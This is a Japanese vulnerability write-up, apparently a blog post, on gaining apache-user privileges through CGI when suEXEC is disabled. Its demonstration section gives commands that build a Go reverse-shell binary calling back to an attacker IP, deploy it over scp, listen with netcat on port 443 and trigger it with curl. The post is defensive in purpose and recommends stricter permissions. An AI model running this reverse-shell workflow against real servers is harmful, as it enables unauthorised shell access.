公開:

最終更新:

ApacheとCGIを用いて不正な権限昇格を達成する

目次


免責事項と注意事項

利用上の注意

  • このコンテンツは、教育目的としています
  • 許可されていない環境や自己の所有しない環境では法に触れる行為として処罰される可能性があります
  • 偉そうに書いてますが特にシステム破壊とかはできないのでいうほど危険な状態ではない

サマリー

  • 概要
    Apache HTTP ServerのCGI設定ミスにより、正規ユーザがApacheユーザ権限を取得できる可能性がある。
  • 攻撃の可能性と想定される被害
    一般ユーザが自身の権限を利用し、CGI経由でApacheユーザ権限を取得。
    ただし、サーバのセキュリティが適切に保たれていれば、重大な被害は発生しにくい。
  • 推奨対応
    パーミッション管理の徹底で排除できる

詳細情報

技術的詳細

  • 脆弱性の根本原因
    CGI実行時にsuEXEC等の分離機構が無効、または不適切な設定となっており、CGIスクリプトがApacheユーザ権限で実行されてしまう。
  • 攻撃ベクトルと手法
    SSHやFTPで正規ユーザとしてログインし、~/public_html/cgi-bin/に任意のバイナリやスクリプトを設置。
    ブラウザ経由で該当CGIにアクセスし、リバースシェル等を起動することでApacheユーザ権限を取得。
  • 悪用に必要な条件・前提
    • サーバ管理者からSSH/FTPアクセス権限を付与されていること
    • public_htmlディレクトリへの書き込み権限があること
    • suEXEC等の分離機構が無効であること
  • 攻撃の複雑さレベル
    低~中。特別な依存関係は不要で、Goバイナリ等の単体実行ファイルで再現可能。

実証

再現手順

  1. SSH/FTPでサーバにログインし、~/public_html/cgi-bin/にリバースシェル等のバイナリを設置
  2. ブラウザで該当CGIスクリプトにアクセスし、コードをトリガー
  3. 攻撃者のサーバでリバースシェル接続を待ち受け、Apacheユーザ権限のシェルを取得

デモンストレーション

  1. Go言語で実装したリバースシェルバイナリを用意
  2. go mod init yourpackagename & go mod tidy
  3. 以下のコンパイルオプションでコンパイル (192.168.10.10は攻撃者のアドレスです。なお、コード内の定数authPassはロジック的には不要ですが安全装置です)
GOOS=linux GOARCH=386 go build -ldflags="-s -w -X 'main.listenerIP=192.168.10.10'" -trimpath -o dist/shell
  1. scp ./dist/shell 48v.me:~/public_html/cgi-bin/ && ssh 48v.me "chmod 775 ~/public_html/cgi-bin/shell" で転送&実行権限付与
  2. 攻撃者コンピュータで nc -l -p 443 or pwncat -l 443 を使い通信を待ち受け
  3. curl -H 'X-Auth:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' https://www.48v.me/~your_user_name/cgi-bin/shell?action=start を送信しトリガーする XXXXXXXXX...X は実際のコードと内容を合わせる必要があります。
  4. 以下のように出力されれば成功です
> $ nc -l -p 443

[+] Reverse shell established
[+] Host: mail.48v.me
[+] User:
[+] UID: 48
[+] GID: 48

Exploit Code

考察

技術的影響

  • 機密性:公開ディレクトリ(public_html)内のファイルは既に公開されているため、情報漏洩リスクは低い
  • 完全性: Apacheユーザ権限でログファイルや一部Webコンテンツの改ざんが理論上可能
  • 可用性: サービス停止等の重大な影響は発生しにくい
  • 権限昇格の可能性: Apacheユーザ権限の取得に留まる。root権限への昇格は現状困難(理想的な状態なら)
  • パーミッション: ユーザのホームディレクトリが 755 なのは懸念ポイント Apacheがユーザディレクトリがデフォルトで一部見れる可能性ある